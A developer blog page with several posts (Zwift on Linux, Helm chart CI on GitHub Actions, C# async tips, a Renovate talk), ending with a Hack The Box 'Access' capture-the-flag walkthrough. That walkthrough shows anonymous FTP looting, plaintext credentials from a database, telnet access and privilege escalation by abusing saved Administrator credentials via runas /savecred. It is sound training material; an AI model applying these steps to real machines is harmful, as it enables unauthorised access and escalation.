Apr 7, 2020 · 2 minute readGetting Zwift to run on Linux was a journey I started just over a year ago. I didn’t get very far with my effort, but since then a lot of progress has been made by the Wine developers and others in the community, and Zwift is now (mostly) playable on Linux. I’ll admit there are some workarounds required. Like having to use the Zwift companion app to connect sensors. But on the whole, it works well. So I wanted to summarise the process for anyone who wants to try it for themselves.
I’m using Lutris, a gaming client for Linux, to script out all the steps needed to make games playable on Linux. If you’ve never used it before, I’d really recommend it for gaming on Linux in general. First things first, you’re going to have to download and install Lutris for your Linux distribution. Thankfully Lutris has a great help page explaining how to do this for most distributions.
Installation
Once you’ve got Lutris installed, installing Zwift is pretty easy. In Lutris search for Zwift, select the only result, and click the “Install” button to start the installation process. You can also start the installer from the command line by running lutris install/zwift-windows.

This might take a while, and depending on your internet speed could be anywhere from 10 minutes to around an hour.
Once the Zwift launcher has finished downloading and updating, we’ve hit the first hurdle that can’t be scripted with Lutris.
Watch on YouTube: "Zwift on Linux - Part Two"The launcher will appear as a blank white window. Actually, the launcher is displaying a web page, but Wine can’t render properly. Thankfully all the files are already downloaded, so all you need to do is quit the launcher window, and exit Zwift from the Wine system menu. After that, the Lutris installer should complete.
Running Zwift
Zwift requires the Launcher to be running all the time while in-game. However, Lutris only allows 1 application to launch from the “Play” button. So before you hit the play button, first you need to click “Run EXE inside wine prefix” and browse to drive_c\Program Files (x86)\Zwift\ZwiftLauncher. You should see that familiar blank white screen.
Finally, you can hit the “Play” button and Ride On 👍
Watch on YouTube: "Zwift on Linux - Part Three" Apr 2, 2020 · 8 minute readSince the release of Helm 3, the official helm/charts repository has been deprecated in favour of Helm Hub. While it’s great for decentralization and the long term sustainability of the project, I think there’s a lot more that is lost. Where is the best place to go for of the expert advice now? Installing Helm now requires you to manually add each repository you use. And there’s now some added friction to hosting your Helm charts.
Thankfully GitHub has all the tools required, in the form of GitHub Pages and GitHub Actions, to host a fully automated build pipeline and to host a repository for your Helm charts. Also, we can use some of the tools from the community to ensure our charts are high quality.
GitHub Pages
First you need to go ahead and create a gh-pages branch in your repository. As I’m writing this there’s an issue open to do this automatically, but to do it manually you can run the following:
1git checkout --orphan gh-pages
2git rm -rf .
3git commit -m "Initial commit" --allow-empty
4git push
Once you’ve done that, you need to enable GitHub Pages in your repository. Go to the settings page on your repository and set the source branch to the gh-pages branch you just created.

Now you’ve configured GitHub Pages, it will act as your Helm repository. Next, you need to configure GitHub Actions to publish to there.
GitHub Actions
You’re going to use GitHub Actions to create two workflows: one for pull requests, and one for commits to master. Your pull request workflow will deal with linting and testing your chart using a collection of automated tooling. While this isn’t a direct replacement for the expert advice offered by the Helm community, it’s better than nothing. Your master branch workflow will deal with releasing your charts using GitHub pages, meaning you never have to do it manually.
First up let’s look at the pull request workflow.
Pull requests
For each pull request in your chart repository, you want to run a series of different validation and linting tools to catch any avoidable mistakes in your Helm charts. To do that, go ahead and create a workflow in your repository by creating a file at .github/workflows/ci.yaml and add the following YAML to it:
1name: Lint and Test Charts
2
3on:
4 pull_request:
5 paths:
6 - 'charts/**'
7
8jobs:
This will run the workflow on any pull request that changes files under the charts directory.
That’s the skeleton of the workflow sorted, next onto the tools that you’re going to use.
Chart Testing
The Helm project created Chart Testing, AKA ct, as a comprehensive linting tool for Helm charts. To use it in your pull request build, you’ll go ahead and add the following job:
1lint-chart:
2 runs-on: ubuntu-latest
3 steps:
4 - name: Checkout
5 uses: actions/checkout@v1
6 - name: Run chart-testing (lint)
7 uses: helm/chart-testing-action@master
8 with:
9 command: lint
10 config: .github/ct.yaml
Where ct.yaml is:
1helm-extra-args: --timeout 600
2check-version-increment: true
3debug: true
For a full list of configuration options check out this sample file.
The lint action for Chart Testing is a bit of a catch-all that helps you prevent a lot of potential bugs or mistakes in your charts. That includes:
- Version checking
- YAML schema validation on
Chart.yaml - YAML linting on
Chart.yaml and values.yaml - Maintainer validation on changed charts
Helm-docs
Helm-docs isn’t strictly a linting tool, but it makes sure that your documentation stays up-to-date with the current state of your chart. It requires that you create a README.md.gotmpl in each chart repository using the available templates, otherwise it will create a README.md for you using a default template.
To use it as part of your pull request build, you need to add the following job:
1lint-docs:
2 runs-on: ubuntu-latest
3 needs: lint-chart
4 steps:
5 - name: Checkout
6 uses: actions/checkout@v1
7 - name: Run helm-docs
8 run: .github/helm-docs.sh
Where helm-docs.sh is:
1#!/bin/bash
2set -euo pipefail
3
4HELM_DOCS_VERSION="0.11.0"
5
6# install helm-docs
7curl --silent --show-error --fail --location --output /tmp/helm-docs.tar.gz https://github.com/norwoodj/helm-docs/releases/download/v"${HELM_DOCS_VERSION}"/helm-docs_"${HELM_DOCS_VERSION}"_Linux_x86_64.tar.gz
8tar -xf /tmp/helm-docs.tar.gz helm-docs
9
10# validate docs
11./helm-docs
12git diff --exit-code
This runs Helm-docs against each chart in your repository and generates the README.md for each one. Then, using git, you’ll fail the build if there are any differences. This ensures that you can’t check in any changes to your charts without also updating the documentation.
Kubeval
Next up is Kubeval. It validates the output from Helm against schemas generated from the Kubernetes OpenAPI specification. You’re going to add it to your pull request, and use it to validate across multiple different versions of Kubernetes. Add the following job:
1kubeval-chart:
2 runs-on: ubuntu-latest
3 needs:
4 - lint-chart
5 - lint-docs
6 strategy:
7 matrix:
8 k8s:
9 - v1.12.10
10 - v1.13.12
11 - v1.14.10
12 - v1.15.11
13 - v1.16.8
14 - v1.17.4
15 steps:
16 - name: Checkout
17 uses: actions/checkout@v1
18 - name: Run kubeval
19 env:
20 KUBERNETES_VERSION: ${{ matrix.k8s }}
21 run: .github/kubeval.sh
Where kubeval.sh is:
1#!/bin/bash
2set -euo pipefail
3
4CHART_DIRS="$(git diff --find-renames --name-only "$(git rev-parse --abbrev-ref HEAD)" remotes/origin/master -- charts | grep '[cC]hart.yaml' | sed -e 's#/[Cc]hart.yaml##g')"
5KUBEVAL_VERSION="0.14.0"
6SCHEMA_LOCATION="https://raw.githubusercontent.com/instrumenta/kubernetes-json-schema/master/"
7
8# install kubeval
9curl --silent --show-error --fail --location --output /tmp/kubeval.tar.gz https://github.com/instrumenta/kubeval/releases/download/"${KUBEVAL_VERSION}"/kubeval-linux-amd64.tar.gz
10tar -xf /tmp/kubeval.tar.gz kubeval
11
12# validate charts
13for CHART_DIR in ${CHART_DIRS}; do
14 helm template "${CHART_DIR}" | ./kubeval --strict --ignore-missing-schemas --kubernetes-version "${KUBERNETES_VERSION#v}" --schema-location "${SCHEMA_LOCATION}"
15done
This script is a bit longer, but if you break it down step-by-step it’s essentially:
- Get a list of charts that have been changed between this PR and master branch
- Install Kubeval
- For each chart:
- Generate the Kubernetes configuration using Helm
- Validatate the configuration using Kubeval
You’re doing this for each version of Kubernetes you’ve defined in the job, so if you’re using an API that isn’t available in all versions, Kubeval will fail the build. This help keep backwards compatibility for all of your charts, and makes sure you’re not releasing breaking changes accidentally.
This doesn’t guarantee that the chart will actually install successfully on Kubernetes—but that’s where Kubernetes in Docker comes in.
Kubernetes in Docker (KIND)
Finally you’re going to use Chart Testing again to install your Helm charts on a Kubernetes cluster running in the GitHub Actions runner using Kubernetes in Docker (KIND). Like Kubeval, you can create clusters for different versions of Kubernetes.
KIND doesn’t publish Docker images for each version of Kubernetes, so you need to look at the Docker image tags. That’s why the Kubernetes versions in this job won’t necessarily match the versions used for the Kubeval job.
1install-chart:
2 name: install-chart
3 runs-on: ubuntu-latest
4 needs:
5 - lint-chart
6 - lint-docs
7 - kubeval-chart
8 strategy:
9 matrix:
10 k8s:
11 - v1.12.10
12 - v1.13.12
13 - v1.14.10
14 - v1.15.7
15 - v1.16.4
16 - v1.17.2
17 steps:
18 - name: Checkout
19 uses: actions/checkout@v1
20 - name: Create kind ${{ matrix.k8s }} cluster
21 uses: helm/kind-action@master
22 with:
23 node_image: kindest/node:${{ matrix.k8s }}
24 - name: Run chart-testing (install)
25 uses: helm/chart-testing-action@master
26 with:
27 command: install
28 config: .github/ct.yaml
So you got a temporary Kubernetes cluster, installed your charts on it, and ran any helm tests (that you definitely wrote 🙄). This is the ultimate test of your Helm chart—installing and running it. If this passes, and you merge your pull request, you’re ready to release!
Releasing
Remember that gh-pages branch you created earlier? Now you can use it to publish your fully tested Helm chart to.
You’re going to create another GitHub workflow, this time at .github/workflows/release.yaml. This one is going to be significantly simpler:
1name: Release Charts
2
3on:
4 push:
5 branches:
6 - master
7 paths:
8 - 'charts/**'
9
10jobs:
11 release:
12 runs-on: ubuntu-latest
13 steps:
14 - name: Checkout
15 uses: actions/checkout@v1
16 - name: Configure Git
17 run: |
18 git config user.name "$GITHUB_ACTOR"
19 git config user.email "$GITHUB_ACTOR@users.noreply.github.com"
20 - name: Run chart-releaser
21 uses: helm/chart-releaser-action@master
22 env:
23 CR_TOKEN: '${{ secrets.CR_TOKEN }}'
It will check out the repository, set the configuration of Git to the user that kicked-off the workflow, and run the chart releaser action. The chart releaser action will package the chart, create a release from it, and update the index.yaml file in the gh-pages branch. Simple!
But one thing you still need to do is create a secret in your repository, CR_TOKEN, which contains a GitHub personal access token with repo scope. This is due to a GitHub Actions bug, where GitHub Pages is not deployed when pushing from GitHub Actions.

Once that’s all configured, any time a change under the charts directory is checked in, like from a pull request, your Github workflow will run and your charts will be available almost instantly!
Next steps
From here you’ll want to add your repository to Helm so you can use it, and share it on Helm Hub so others can too. For the former, you’ll need to run:
1helm repo add renovate https://<username>.github.io/<repository>/
2helm repo update
And for the latter, the Helm project have written a comprehensive guide that I couldn’t possibly top.
If you want to see all these pieces working together checkout the renovatebot/helm-charts repository, or our page on Helm Hub. And if you would like some help please reach out to me on Bluesky at @jamiemagee.bsky.social.
Mar 16, 2020 · 5 minute readOver the past year I’ve moved from working mainly in Java, to working mainly in C#. To be honest, Java and C# have more in common than not, but one of the major differences is async/await. It’s a really powerful tool if used correctly, but also a very quick way to shoot yourself in the foot.
Asynchronous programming looks very similar to synchronous programming. However, there are some core concepts which need to be understood in order to form a proper mental model when converting between synchronous and asynchronous programming patterns.
Here are some of the most common ones I’ve come across.
Naming
Method names must use the suffix Async when returning a Task or Task<T>. Consistency is key as the Async suffix provides not only a mental signal to the caller that the await keyword should be used, but also provides a consistent naming convention.
1// Synchronous method
2public void DoSomething() { … }
3
4// Asynchronous method
5public async Task DoSomethingAsync() { … }
Return types
Every async method returns a Task. Use Task when there is no specific result for the method, which is synonymous with void. Use Task<T> when a return value is required.
1// Original method
2public void DoSomething()
3{
4 using (var client = new HttpClient())
5 {
6 client.GetAsync().Result;
7 }
8}
9
10// BAD: This utilizes an anti-pattern. async void provides no mechanism
11// for the caller to observe the result, including exceptions.
12public async void DoSomethingAsync()
13{
14 using (var client = new HttpClient())
15 {
16 await client.GetAsync();
17 }
18}
19
20// GOOD: This provides proper access to the completion task. The caller may now
21// await the method call and observe/handle results and exceptions correctly.
22public async Task DoSomethingAsync()
23{
24 using (var client = new HttpClient())
25 {
26 await client.GetAsync();
27 }
28}
Parameters
There is not a way for the compiler to manage ref and out parameters. (That’s a topic for another time.) When multiple values need to be returned you should either use custom objects or a Tuple.
1// Original method
2public bool TryGet(string key, out string value)
3{
4 value = null;
5 if (!m_cache.TryGetValue(key, out value))
6 {
7 value = GetValueFromSource(key);
8 }
9
10 return value != null;
11}
12
13// New method
14public async Task<(bool exists, string value)> TryGetAsync(string key)
15{
16 string value = null;
17 if (!m_cache.TryGetValue(key, out value))
18 {
19 value = await GetValueFromSourceAsync(key);
20 }
21
22 return (value != null, value);
23}
Delegates
Following up on the lack of the void return type, no async method should be defined as an Action variant. When accepting a delegate to an asynchronous method, the asynchronous pattern should be propagated by accepting Func<Task> or Func<Task<T>>.
1public void TraceHelper(Action action)
2{
3 Trace.WriteLine("calling action");
4 action();
5 Trace.WriteLine("called action");
6}
7
8// Action => Func<Task>
9// Action<T> maps to Func<T, Task>
10// etc.
11public async Task TraceHelperAsync(Func<Task> action)
12{
13 Trace.WriteLine("calling action");
14 await action();
15 Trace.WriteLine("called action");
16}
17
18// Example call to the method with a synchronous callback implementation
19await TraceHelperAsync(() => { Console.WriteLine("Called me"); return Task.CompletedTask; });
Virtual methods
In asynchronous programming there is no concept of a void return type, as the basis of the model is that each method returns a mechanism for signalling completion of the asynchronous work. When converting base classes which have empty implementations or return constant values, the framework provides methods and helpers to facilitate the pattern.
1// The original synchronous version of the class
2public class MyClass
3{
4 protected virtual void DoStuff()
5 {
6 // Do nothing
7 }
8
9 protected virtual int GetValue()
10 {
11 return 0;
12 }
13}
14
15// The converted asynchronous version of the class
16public class MyClass
17{
18 protected virtual Task DoStuffAsync(CancellationToken cancellationToken)
19 {
20 // This static accessor avoids new allocations for synchronous 'no-op' methods such as this
21 return Task.CompletedTask;
22 }
23
24 protected virtual Task<int> GetValueAsync(CancellationToken cancellationToken)
25 {
26 // This factory method returns a completed task with the specified result
27 return Task.FromResult(0);
28 }
29}
Interfaces
Like delegates, interfaces should always be declared async which ensures an async-aware model throughout the stack.
1public interface IMyPlugin
2{
3 Task DoStuffAsync(CancellationToken cancellationToken);
4 Task<int> DoMoreAsync(CancellationToken cancellationToken);
5}
6
7public class MyPluginImpl : IMyPlugin
8{
9 // When the method does not have a result, use the static accessor
10 public Task DoStuffAsync(CancellationToken cancellationToken)
11 {
12 DoSomething();
13 return Task.CompletedTask;
14 }
15
16 // When the method has a result, use the static factory function
17 public Task<int> DoMoreAsync(CancellationToken cancellationToken)
18 {
19 DoSomething();
20 return Task.FromResult(0);
21 }
22}
Mocks
In certain cases, mostly unit test mocks, you may find the need to implement interfaces without having any reason to actually perform any asynchronous calls. In these specific cases it is OK to feign asynchronous execution using Task.CompletedTask or Task.FromResult<T>(T result).
1// Example mock implementation for testing. Moq is not smart enough to generate a non-null completed
2// task by default, so you will need to explicitly mock out all methods
3Mock<IMyPlugin> mockPlugin = new Mock<IMyPlugin>();
4
5// When a constant value is returned
6mockPlugin.Setup(x => x.DoStuffAsync(It.IsAny<CancellationToken>()).Returns(Task.CompletedTask);
7mockPlugin.Setup(x => x.DoMoreAsync(It.IsAny<CancellationToken>()).ReturnsAsync(1);
8
9// When a dynamic value is returned
10mockPlugin.Setup(x => x.DoStuffAsync(It.IsAny<CancellationToken>()).Returns(() =>
11{
12 DoStuffImpl();
13 return Task.CompletedTask;
14});
15mockPlugin.Setup(x => x.DoMoreAsync(It.IsAny<CancellationToken>()).Returns(() =>
16{
17 DoMoreImpl();
18 return Task.FromResult(1);
19});
Summary
Overall asynchronous programming is much better for performance, but requires a slightly different mental model. I hope these tips help!
Oct 23, 2019 · 1 minute readAt CopenhagenJS in August I was able to share my work on Renovate—a universal dependency update tool—and how you can use it to save time and improve security in software projects.
If you want to find out more about Renovate you can find us on GitHub.
Watch on YouTube: "Automated Dependency Updates with Renovate" Mar 2, 2019 · 8 minute read
Recently I discovered Hack The Box, an online platform to hone your cyber security skills by practising on vulnerable VMs. The first box I solved is called Access. In this blog post I’ll walk through how I solved it. If you don’t want any spoilers, look away now!
Let’s start with an nmap scan to see what services are running on the box.
1# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.98
2...
3PORT STATE SERVICE REASON VERSION
421/tcp open ftp syn-ack Microsoft ftpd
5| ftp-anon: Anonymous FTP login allowed (FTP code 230)
6|_Can't get directory listing: TIMEOUT
7| ftp-syst:
8|_ SYST: Windows_NT
923/tcp open telnet syn-ack Microsoft Windows XP telnetd (no more connections allowed)
1080/tcp open http syn-ack Microsoft IIS httpd 7.5
11| http-methods:
12| Supported Methods: OPTIONS TRACE GET HEAD POST
13|_ Potentially risky methods: TRACE
14|_http-server-header: Microsoft-IIS/7.5
15|_http-title: MegaCorp
nmap has found three services running: FTP, telnet, and an HTTP server. Let’s see what’s running on the HTTP server.

It’s just a static page, showing an image. Nothing interesting, so let’s move on for now.
Anonymous FTP
nmap showed that there is an FTP server running, with anonymous login allowed. Let’s see what’s on that server
1# ftp 10.10.10.98
2Connected to 10.10.10.98.
3220 Microsoft FTP Service
4Name (10.10.10.98:root): anonymous
5331 Anonymous access allowed, send identity (e-mail name) as password.
6Password:
7230 User logged in.
8Remote system type is Windows_NT.
9ftp> ls
10200 PORT command successful.
11125 Data connection already open; Transfer starting.
1208-23-18 08:16PM <DIR> Backups
1308-24-18 09:00PM <DIR> Engineer
14226 Transfer complete.
15ftp> ls Backups
16200 PORT command successful.
17125 Data connection already open; Transfer starting.
1808-23-18 08:16PM 5652480 backup.mdb
19226 Transfer complete.
20ftp> ls Engineer
21200 PORT command successful.
22125 Data connection already open; Transfer starting.
2308-24-18 12:16AM 10870 Access Control.zip
24226 Transfer complete.
There are some interesting files here, let’s download them and analyse them
1# wget ftp://anonymous:anonymous@10.10.10.98 --no-passive-ftp --mirror
2--2019-02-02 15:37:26-- ftp://anonymous:*password*@10.10.10.98/
3 => ‘10.10.10.98/.listing’
4Connecting to 10.10.10.98:21... connected.
5Logging in as anonymous ... Logged in!
6...
7FINISHED --2019-02-02 15:37:28--
8Total wall clock time: 1.8s
9Downloaded: 5 files, 5.4M in 1.4s (3.99 MB/s)
Microsoft Access
We’ve got a .mdb file—which is a Microsoft Access database file—and a zip file. If we take a quick look at the zip file it’s password protected. We’ll have to come back the that later.
We can examine backup.mdb using MDB tools. Maybe there’s something we can use there.
1# mdb-tables Backups/backup.mdb
2acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
It looks like there’s a lot of autogenerated tables here, but those auth_* tables look interesting.
1# mdb-export Backups/backup.mdb auth_user
2id,username,password,Status,last_login,RoleID,Remark
325,"admin","admin",1,"08/23/18 21:11:47",26,
427,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
528,"backup_admin","admin",1,"08/23/18 21:14:02",26,
Awesome! So we’ve got some credentials for engineer, and we’ve got a password protected zip file in the Engineer directory.
Microsoft Outlook
1# 7z x Access\ Control.zip
2
37-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
4p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-7820HQ CPU @ 2.90GHz (906E9),ASM,AES-NI)
5
6Scanning the drive for archives:
71 file, 10870 bytes (11 KiB)
8
9Extracting archive: Access Control.zip
10--
11Path = Access Control.zip
12Type = zip
13Physical Size = 10870
14
15
16Enter password (will not be echoed):
17Everything is Ok
18
19Size: 271360
20Compressed: 10870
21
22# ls
23'Access Control.pst' 'Access Control.zip'
That worked! Now we’ve got the mailbox backup for the engineer, but we first need to convert it to something that we can read more easily on Linux.
1# readpst Access\ Control.pst
2Opening PST file and indexes...
3Processing Folder "Deleted Items"
4 "Access Control" - 2 items done, 0 items skipped.
Let’s take a peek at the engineer’s mailbox
1# mail -f Access\ Control.mbox
2mail version v14.9.11. Type `?' for help
3'/root/10.10.10.98/Engineer/Access Control.mbox': 1 message
4▸O 1 john@megacorp.com 2018-08-23 23:44 87/3112 MegaCorp Access Control System "security" account
5?
6[-- Message 1 -- 87 lines, 3112 bytes --]:
7From "john@megacorp.com" Thu Aug 23 23:44:07 2018
8From: john@megacorp.com <john@megacorp.com>
9Subject: MegaCorp Access Control System "security" account
10To: 'security@accesscontrolsystems.com'
11Date: Thu, 23 Aug 2018 23:44:07 +0000
12
13[-- #1.1 73/2670 multipart/alternative --]
14
15
16
17[-- #1.1.1 15/211 text/plain, 7bit, utf-8 --]
18
19Hi there,
20
21
22
23The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is pass
24ed on to your engineers.
25
26
27
28Regards,
29
30John
31
32
33
34[-- #1.1.2 51/2211 text/html, 7bit, us-ascii --]
35?
Another set of credentials! I wonder what these are used for? Let’s try FTP first
1# ftp 10.10.10.98
2Connected to 10.10.10.98.
3220 Microsoft FTP Service
4Name (10.10.10.98:jamie): security
5331 Password required for security.
6Password:
7530 User cannot log in.
8ftp: Login failed.
No dice ☹. The only other option is telnet.
Telnet
1# telnet 10.10.10.98
2Trying 10.10.10.98...
3Connected to 10.10.10.98.
4Escape character is '^]'.
5Welcome to Microsoft Telnet Service
6
7login: security
8password:
9
10*===============================================================
11Microsoft Telnet Server.
12*===============================================================
13C:\Users\security>
We’re in! The user.txt should be located on security’s Desktop
1C:\Users\security>dir
2 Volume in drive C has no label.
3 Volume Serial Number is 9C45-DBF0
4
5 Directory of C:\Users\security
6
702/02/2019 03:56 PM <DIR> .
802/02/2019 03:56 PM <DIR> ..
908/24/2018 07:37 PM <DIR> .yawcam
1008/21/2018 10:35 PM <DIR> Contacts
1108/28/2018 06:51 AM <DIR> Desktop
1208/21/2018 10:35 PM <DIR> Documents
1308/21/2018 10:35 PM <DIR> Downloads
1408/21/2018 10:35 PM <DIR> Favorites
1508/21/2018 10:35 PM <DIR> Links
1608/21/2018 10:35 PM <DIR> Music
1708/21/2018 10:35 PM <DIR> Pictures
1808/21/2018 10:35 PM <DIR> Saved Games
1908/21/2018 10:35 PM <DIR> Searches
2008/24/2018 07:39 PM <DIR> Videos
21 1 File(s) 964,179 bytes
22 14 Dir(s) 16,745,127,936 bytes free
23
24C:\Users\security>cd Desktop
25
26C:\Users\security\Desktop>dir
27 Volume in drive C has no label.
28 Volume Serial Number is 9C45-DBF0
29
30 Directory of C:\Users\security\Desktop
31
3208/28/2018 06:51 AM <DIR> .
3308/28/2018 06:51 AM <DIR> ..
3408/21/2018 10:37 PM 32 user.txt
35 1 File(s) 32 bytes
36 2 Dir(s) 16,744,726,528 bytes free
37
38C:\Users\security\Desktop>more user.txt
39<SNIP>
Privilege escalation
Now that we’ve got the first flag, we need to escalate to root access—or more specifically Administrator on Windows.
The .yawcam directory looks out of the ordinary.
1dir .yawcam
2 Volume in drive C has no label.
3 Volume Serial Number is 9C45-DBF0
4
5 Directory of C:\Users\security\.yawcam
6
708/24/2018 07:37 PM <DIR> .
808/24/2018 07:37 PM <DIR> ..
908/23/2018 10:52 PM <DIR> 2
1008/22/2018 06:49 AM 0 banlist.dat
1108/23/2018 10:52 PM <DIR> extravars
1208/22/2018 06:49 AM <DIR> img
1308/23/2018 10:52 PM <DIR> logs
1408/22/2018 06:49 AM <DIR> motion
1508/22/2018 06:49 AM 0 pass.dat
1608/23/2018 10:52 PM <DIR> stream
1708/23/2018 10:52 PM <DIR> tmp
1808/23/2018 10:34 PM 82 ver.dat
1908/23/2018 10:52 PM <DIR> www
2008/24/2018 07:37 PM 1,411 yawcam_settings.xml
21 4 File(s) 1,493 bytes
22 10 Dir(s) 16,764,841,984 bytes free
However poking around in there proved fruitless. Maybe there’s a way to use this, but I couldn’t figure anything out.
Let’s keep looking
1C:\Users\security>cd ../
2
3C:\Users>dir
4 Volume in drive C has no label.
5 Volume Serial Number is 9C45-DBF0
6
7 Directory of C:\Users
8
902/02/2019 04:15 PM <DIR> .
1002/02/2019 04:15 PM <DIR> ..
1108/23/2018 11:46 PM <DIR> Administrator
1202/02/2019 04:15 PM <DIR> engineer
1302/02/2019 04:14 PM <DIR> Public
1402/02/2019 04:16 PM <DIR> security
15 0 File(s) 0 bytes
16 6 Dir(s) 16,754,778,112 bytes free
Maybe one of the other users has something interesting we can use?
1C:\Users>cd engineer
2Access is denied.
I didn’t really expect that to work anyway
1C:\Users>cd Public
2
3C:\Users\Public>dir
4 Volume in drive C has no label.
5 Volume Serial Number is 9C45-DBF0
6
7 Directory of C:\Users\Public
8
902/02/2019 04:14 PM <DIR> .
1002/02/2019 04:14 PM <DIR> ..
1107/14/2009 05:06 AM <DIR> Documents
1207/14/2009 04:57 AM <DIR> Downloads
1307/14/2009 04:57 AM <DIR> Music
1407/14/2009 04:57 AM <DIR> Pictures
1507/14/2009 04:57 AM <DIR> Videos
16 1 File(s) 964,179 bytes
17 7 Dir(s) 16,723,468,288 bytes free
Wait a minute, we’re missing some of the standard Windows directories. Let’s have a closer look.
1
2C:\Users\Public>dir /A
3 Volume in drive C has no label.
4 Volume Serial Number is 9C45-DBF0
5
6 Directory of C:\Users\Public
7
802/02/2019 04:14 PM <DIR> .
902/02/2019 04:14 PM <DIR> ..
1008/28/2018 06:51 AM <DIR> Desktop
1107/14/2009 04:57 AM 174 desktop.ini
1207/14/2009 05:06 AM <DIR> Documents
1307/14/2009 04:57 AM <DIR> Downloads
1407/14/2009 02:34 AM <DIR> Favorites
1507/14/2009 04:57 AM <DIR> Libraries
1607/14/2009 04:57 AM <DIR> Music
1707/14/2009 04:57 AM <DIR> Pictures
1807/14/2009 04:57 AM <DIR> Videos
19 2 File(s) 964,353 bytes
20 10 Dir(s) 16,717,438,976 bytes free
Desktop has a much more recent modification date than everything else
1C:\Users\Public>cd Desktop
2
3C:\Users\Public\Desktop>dir
4 Volume in drive C has no label.
5 Volume Serial Number is 9C45-DBF0
6
7 Directory of C:\Users\Public\Desktop
8
908/22/2018 09:18 PM 1,870 ZKAccess3.5 Security System.lnk
10 1 File(s) 1,870 bytes
11 0 Dir(s) 16,711,475,200 bytes free
That’s because there’s a shortcut there.
Now, I’m not sure of the best way to view a .lnk on cmd.exe via telnet, but this is what I came up with. If anyone knows of a better way, please let me know!
1C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
2L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows��:��M�:*wWindowsV1MV�System32��:��MV�*�System32X2P�:�
3 runas.exe��:1��:1�*Yrunas.exeL-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
4 �wN���]N�D.��Q���`�Xaccess�_���8{E�3
5 O�j)�H���
6 )ΰ[�_���8{E�3
7 O�j)�H���
8 )ΰ[� ��1SPS�XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500
It’s a bit difficult to read, but it looks like the shortcut runs a program as the Administrator using saved credentials. We can use that.
1C:\Users\Public\Desktop>runas /user:Administrator /savecred "cmd.exe /c more C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\Desktop\output.txt"
Did it work?
1C:\Users\Public\Desktop>more output.txt
2<SNIP>
Yes! From there we could generate a reverse shell using msfvenom and run that as Administrator, but I’ve got the flag so I’ll leave it there for now.